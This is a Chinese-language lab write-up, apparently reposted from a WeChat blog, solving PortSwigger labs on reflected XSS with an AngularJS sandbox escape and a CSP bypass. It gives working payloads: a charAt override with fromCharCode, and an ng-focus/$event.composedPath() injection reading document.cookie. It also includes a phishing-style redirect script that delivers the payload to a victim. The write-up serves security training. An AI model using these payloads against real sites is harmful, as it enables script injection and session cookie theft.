portswigger靶场-Lab27、28

admin 2024年5月14日21:03:21评论11 views字数 2688阅读8分57秒阅读模式

本文知识点: 


AngularJS沙盒逃逸:

最著名的转义在表达式中全局使用修改后的charAt()函数:

'a'.constructor.prototype.charAt=[].join

当它最初被发现时,AngularJS并没有阻止这种修改。攻击者使用 [].join方法覆盖函数,导致charAt()函数返回发送给它的所有字符,而不是特定的单个字符。由于AngularJS中isIdent()函数的逻辑,它会将它认为是单个字符的内容与多个字符的内容进行比较。由于单个字符始终少于多个字符,因此isIdent()函数始终返回true


如下例所示:

isIdent = function(ch) {

    return ('a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || '_' === ch || ch === '$');

}

isIdent('x9=9a9l9e9r9t9(919)')


一旦 isIdent()函数被骗,就可以注入恶意JavaScript。例如,可以使用$eval('x =alert(1)')这样的表达式,因为AngularJS将每个字符都视为标识符。注意,我们需要使用AngularJS的$eval()函数,因为覆盖charAt()函数只有在沙箱代码执行后才会生效。这种技术将绕过沙箱并允许任意JavaScript执行



(Lab 27)反射XSS 无条件无条件的逃跑(使用ASCII字符绕过AngularJS限制

Lab 28)反射的XSS与角形沙箱和CSP(使用$event,引用事件对象的AngularJS变量弹窗


portswigger靶场-Lab27、28靶场地址:https://portswigger.net/web-security

实验27:反射XSS 无条件无条件的逃跑

1.构造payload进行绕过弹窗

 ?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=2

(解析如下:

1. `toString().constructor.prototype.charAt=[]`:这一部分代码试图修改字符串的 `charAt` 方法,将其设置为空数组。

2. `[1]`:这是一个包含数字 1 的数组。

3. `orderBy`:这是一个看起来像是用于排序的函数或方法。

4. `toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)`:这一部分代码尝试构造一个字符串,其中包含字符对应的 ASCII 值,然后使用 `fromCharCode` 方法将这些 ASCII 值转换为字符串。具体地说,它构造了一个字符串,内容是"x=alert(1)",这似乎是一个用于弹出警报框的 JavaScript 代码片段。

?search=111&222=1


<script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {

    $scope.query = {};

    var key = 'search';

    $scope.query[key] = '111';

    $scope.value = $parse(key)($scope.query);

    var key = '222';

    $scope.query[key] = '1';

    $scope.value = $parse(key)($scope.query);

});</script>


=>


?search=1&toString().constructor.prototype.charAt%3d[].join;

[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=2


<script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {

    $scope.query = {};

    var key = 'search';

    $scope.query[key] = '1';

    $scope.value = $parse(key)($scope.query);

    var key = 'toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)';

    $scope.query[key] = '1';

    $scope.value = $parse(key)($scope.query);

});</script>

portswigger靶场-Lab27、28

实验28:反射的XSS与角形沙箱和CSP

1.构造payload进行弹窗 %3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x(`<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>`:这是一个 HTML 输入元素,其 `id` 设置为 "x"。但更重要的是,它包含了 AngularJS 表达式 `ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'`。这段代码是 `(z=alert)(document.cookie)`,它试图弹出浏览器中的 Cookie 信息。)

portswigger靶场-Lab27、28


2.构造钓鱼链接,存储发送给受害者,即可通过此关

<script>

location='https://0a37008e0324352680661c3200e30023.web-security-academy.net/?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x';

</script>

portswigger靶场-Lab27、28



原文始发于微信公众号(鲲哥的Bypass之旅):portswigger靶场-Lab27、28

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月14日21:03:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   portswigger靶场-Lab27、28https://cn-sec.com/archives/2496280.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息